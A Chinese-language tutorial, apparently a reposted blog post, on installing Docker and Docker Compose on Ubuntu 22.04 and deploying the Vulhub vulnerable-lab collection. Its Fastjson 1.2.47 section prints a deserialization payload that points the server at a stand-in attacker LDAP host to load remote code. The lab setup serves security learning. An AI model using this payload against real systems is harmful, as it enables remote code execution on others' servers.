当前位置: 首页 > news >正文

Ubuntu 22.04上,用Docker Compose一键部署Vulhub靶场的保姆级教程

Ubuntu 22.04上Vulhub靶场极速部署指南:从零到漏洞复现

在网络安全学习过程中,拥有一个随时可用的漏洞实验环境至关重要。Vulhub作为基于Docker的漏洞靶场集合,以其开箱即用的特性成为安全研究者的首选工具。本文将带你用最简洁高效的方式,在Ubuntu 22.04系统上完成全套环境的部署,避开新手常踩的坑,实现真正的一键式漏洞复现体验。

1. 环境准备与优化

1.1 系统基础配置

首先确保你的Ubuntu 22.04系统处于最新状态。打开终端执行以下命令:

sudo apt update && sudo apt upgrade -y sudo apt install -y curl git vim python3-pip

这些基础软件包将为后续安装提供必要支持。特别提醒:

  • 如果使用虚拟机环境,建议先安装VMware Tools或VirtualBox增强功能
  • 国内用户可考虑替换apt源为阿里云或清华镜像加速下载

1.2 清理旧版Docker

系统中残留的旧版本Docker可能导致各种冲突。执行以下清理命令:

sudo apt remove -y docker docker-engine docker.io containerd runc sudo rm -rf /var/lib/docker sudo rm -rf /var/lib/containerd

注意:第二条命令会删除所有现有Docker镜像和容器,如有需要请提前备份

2. Docker引擎安装与加速

2.1 一键安装最新Docker

使用官方安装脚本配合国内镜像源,大幅提升安装速度:

curl -fsSL https://get.docker.com | sudo sh -s -- --mirror Aliyun

安装完成后验证版本:

docker --version # 预期输出:Docker version 24.0.7, build xxxxxxx

2.2 配置镜像加速与开机启动

创建Docker配置文件并添加国内镜像源:

sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": [ "https://docker.mirrors.ustc.edu.cn", "https://hub-mirror.c.163.com" ] } EOF

启用Docker服务并设置开机自启:

sudo systemctl enable --now docker sudo systemctl restart docker

验证配置是否生效:

docker info | grep Mirrors -A 2

3. Docker Compose安装与验证

3.1 使用pip安装最新版本

虽然Ubuntu仓库提供docker-compose,但版本通常较旧。推荐通过pip安装:

sudo pip3 install --upgrade docker-compose

安装完成后检查版本:

docker-compose --version # 预期输出:docker-compose version 1.29.2, build xxxxxxx

3.2 解决常见权限问题

为避免每次都要使用sudo,将当前用户加入docker组:

sudo usermod -aG docker $USER newgrp docker

验证非root用户能否正常使用Docker:

docker run hello-world

4. Vulhub靶场部署实战

4.1 获取Vulhub最新代码

克隆官方仓库(国内用户可考虑使用Gitee镜像):

git clone https://github.com/vulhub/vulhub.git cd vulhub

如果网络不稳定,也可以直接下载ZIP包解压:

wget https://github.com/vulhub/vulhub/archive/refs/heads/master.zip unzip master.zip && mv vulhub-master vulhub

4.2 启动Fastjson 1.2.47漏洞环境

进入目标漏洞目录并启动服务:

cd fastjson/1.2.47-rce docker-compose up -d

检查服务状态:

docker-compose ps # 应看到fastjson服务状态为Up

访问漏洞测试页面:

http://localhost:8090

4.3 常用管理命令

操作命令说明
启动环境docker-compose up -d后台运行
停止环境docker-compose down清理容器
查看日志docker-compose logs调试用
重建环境docker-compose build修改配置后

5. 进阶配置与问题排查

5.1 端口冲突解决方案

如果默认端口被占用,可以修改docker-compose.yml中的端口映射:

ports: - "8080:8080" # 改为 "新端口:容器端口"

然后重建服务:

docker-compose down && docker-compose up -d

5.2 磁盘空间管理

定期清理无用镜像和容器:

docker system prune -a --volumes

查看磁盘使用情况:

docker system df

5.3 网络问题排查

检查容器网络连接:

docker exec -it 容器名 ping baidu.com

查看Docker网络配置:

docker network inspect bridge

6. 典型漏洞复现示例

以Fastjson漏洞为例,演示基本测试流程:

  1. 启动Burp Suite拦截请求
  2. 访问http://localhost:8090
  3. 构造恶意JSON数据包:
POST / HTTP/1.1 Host: localhost:8090 Content-Type: application/json { "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker-ip:1389/Exploit", "autoCommit":true }
  1. 观察服务器响应,确认漏洞存在

安全提示:仅限本地测试环境使用,禁止在未授权情况下测试真实系统

7. 环境维护与更新

保持Vulhub最新状态:

cd ~/vulhub git pull origin master

更新所有基础镜像:

docker-compose pull

定期检查组件版本:

docker --version docker-compose --version python3 --version pip3 --version

在实际教学中发现,90%的启动失败问题都源于网络连接或权限配置。建议首次部署时逐步验证每个环节,特别是Docker服务状态和容器日志输出。

http://www.jsqmd.com/news/757818/

相关文章:

  • Minecraft存档损坏怎么办?Python工具一键修复7种常见区块问题
  • 20260505 软件工程大模型后训练初探攻略(1):基于 MindSpeed-LLM + Qwen2.5-Coder-1.5B + 华为云 NPU
  • 2025最权威的降重复率助手实测分析
  • 使用Taotoken CLI工具一键配置开发环境与写入各工具密钥
  • 3大核心功能重塑Windows文件管理体验:QTTabBar标签页增强工具深度解析
  • Postman-MCP-Server 的构建以及在 Trae 中的配置方法
  • 我是怎么用 Claude Code + Superpowers + GLM 5.1 从0到1做出一个儿童拼图游戏的!
  • 基于libusb的用户空间UVC相机库
  • 告别手动压枪:3个阶段掌握绝地求生罗技鼠标宏精准射击
  • VideoDownloadHelper技术指南:浏览器视频下载插件的深度解析
  • 3分钟快速上手:用Stream-Translator让你的外语直播秒变中文!
  • 生成引擎优化(GEO)赋能内容创作效率及用户体验提升的实践案例分析
  • m4s-converter终极指南:快速免费保存B站视频的完整教程
  • 泡泡玛特走向世界,王宁的底气到底来自哪里? - 速递信息
  • 2026最新指导意见:大语言模型如何影响学术论文?
  • 暗黑破坏神2存档修改终极指南:5分钟学会使用免费Web编辑器
  • Segment Anything Model资源全解析:从零样本分割到工程落地实战
  • SEB虚拟机检测破解方案:技术原理与实战应用框架
  • Linux 7.0内核新特性解析:AI编码辅助与Rust稳定支持
  • 学术研究项目中利用多模型API进行对比实验的实践
  • 独立开发者如何借助Taotoken低成本试验不同大模型能力
  • 告别Debug.Log:在Unity中为MySQL操作设计一个可视化管理面板
  • 告别Anchor Box!用PyTorch从零复现FCOS目标检测模型(附完整代码与训练技巧)
  • 轻松解密RPG Maker游戏加密资源:网页版工具的完整使用指南
  • 开源技能库构建指南:从个人工具箱到团队知识中枢
  • 告别PS!用AI魔法一键去除背景的终极指南
  • GroundingDINO终极指南:零代码实现文本驱动的智能目标检测
  • 钉钉机器人报错40035?别慌,手把手教你排查‘缺少参数json’的5种常见原因
  • 3步终极解决方案:Visual C++ Redistributable AIO 完全指南
  • 别再死磕PLL理论了!手把手教你用CML锁存器设计一个10GHz+的高速分频器(附仿真文件)